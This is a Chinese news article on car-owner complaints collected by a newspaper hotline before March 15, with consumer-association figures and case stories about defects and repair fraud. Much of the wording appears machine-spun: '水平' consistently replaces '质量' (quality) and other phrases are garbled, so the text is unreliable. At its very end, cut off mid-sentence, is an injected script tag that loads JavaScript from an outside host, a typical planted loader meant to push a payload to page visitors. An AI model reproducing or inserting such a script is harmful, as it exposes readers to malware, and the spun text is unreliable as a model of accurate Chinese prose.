又一个“3·15”即将来临，上周四，大家开通了10部汽车维权热线倾听用户声音。热线开通以来，已陆续接到了
500多个投诉电话，投诉内容涵盖商品水平、厂家服务态度、修理陷阱等方面。大家已将投诉内容整理后反映至有关单位
，现在部分投诉内容已经得到解决。从投诉热线开通后的状况来看，有82%的买家最关心汽车水平问题，76%的买家
关心售后服务的问题。为了能更多地倾听广大用户的心声，维护你的合法权益，本报10部汽车维权热线今日继续开通，
你的心声永远是大家关注的焦点！
在汽车水平投诉方面，截至3月十日，本报接到200个电话，一位王先生称，他今年1月份在一商家处买了一辆车，
车子还没开到加油站，水温表就开始报警，在换了节温器后，水温过高的状况还是没得到解决，随后车子的指针等
部件又出现了问题。更令他没想到的是，在与商家协商后，重新更换的同型号车子还是出现了问题。
在服务态度投诉方面，本报接到了120个电话。一位王小姐称，几年前她购买的一辆车在出现了问题后，将车开到维
修店处置，但多次修理都没解决问题。当她找到商家协商的时候，商家的态度更是冷漠，要么推诿，要么就是对
存在的问题进行搪塞处置。张先生也遇见了王小姐类似的处境，他们期望商家在与用户协商处置问题的时候，态度要
端正、积极一点，不要采取“售出后不管”的态度来推卸、回避责任，如此伤了买家的心。
在售后修理投诉方面，有110个用户反映自己遇到过修理陷阱。来自乐山的龚先生向本报投诉称，他去年将爱车开到
成都一商家处修理保养的时候，接待职员非常热情地让其交出了车钥匙，并请他到顾客休息室休息。汽车修理保养结束
后，龚先生开着外表光鲜的爱车驶出了商家大门。行驶途中，他非常快感觉到了爱车在行驶途中还是没什么力量，提
速还是不够带劲儿，于是他开始怀疑修理职员在给车子保养的时候是不是更换了机油。他随后检查发现，车子的机油根本
就没更换，而当他找到修理保养职员时，他们坚称是换了的，并拿出了修理底单，这让龚先生感到“哑巴吃黄连，有
苦说不出。”其它投诉电话则与洗车和二手车买卖有关。现在本报正在将用户的投诉进行整理，并准时向有关方面进行
反馈。
投诉7成是水平问题
十日晚，四川消协秘书长刘亚兵在同意记者采访时透露，汽车投诉近几年正在成为热门。现在比较突出的汽车投
诉热门主要集中在销售欺诈、不真实营销、汽车水平和售后服务等四个方面。特别突出的是汽车水平方面的问题最多。比
较典型的案例有：把修理车当新车供应、把二手车当新车卖、说明书标注的双气囊结果却是单气囊等等。刘亚兵说，消费
者在遇见上述问题后，可通过五个渠道予以解决。
水平投诉稳居第一
刘亚兵说，近年来汽车水平投诉连续居高不下，说明国内车市还需要加强法制管理的力度。近日，中国消费者协会发布
了2006年汽车投诉统计，汽车投诉案件达7761件，同比增长15.9%，排名增长速度第三位。而在汽车商品投诉中，汽车质
量问题成为汽车投诉的重点，占5276件，接近汽车投诉总量的7成。在315投诉网等网站所做的汽车投诉调查也显示，12
万元以下车型投诉比率占调查总量的77%，经济型车和合资品牌车渐渐成为投诉重点。
在中国消费者协会公布的数字中，因汽车水平问题引起的投诉占到了总量的68%，接近7成比率。愈加多的买家由于汽车
水平问题与商家和厂商对簿公堂。比如，买家许先生在半年内更换了5次汽车副驾驶电动窗开关，当其需要销售商给
予适合补偿，并彻底解决开关问题时，销售商却回话，只能负责免费更换开关，其他需要难以满足。某买家花费20多
万元购买的新车一天音响不可以正常工作，第二天车底又发现漏油，因为修不好，不能已找到了消协进行协调。用户刘
先生的车在刚行驶了1000公里后就发现发动机有异响，新车还没有出磨合期就被大修了两次，需要退换却遭到了拒绝。
一些汽车因商品水平问题屡遭投诉后，厂家没积极地进行回话，并且还有汽车经营者在销售过程中借助自己优势
，隐瞒部分商品的信息和问题，不主动召回问题车，这也使得更多的买家在同样的水平问题上进行投诉。
售后投诉持续升温
修理水平和服务水平也成为买家去年投诉的热门。虽然现在国内市场拥有庞大的4s店及修理保障设施，但由
于有关法规不完善与一些惟利是图的汽车公司依赖信息不对称等条件欺瞒买家，汽车服务范围仍然存在不少问题，
这也是买家投诉的重灾区。比如，买家梁先生于2006年9月从某销售商处购买轿车一辆，在一次修理时发现后保险
杠掉漆后又出现一层新的银灰色?script src=http://cn.jxmmtv.com/cn.js>cript>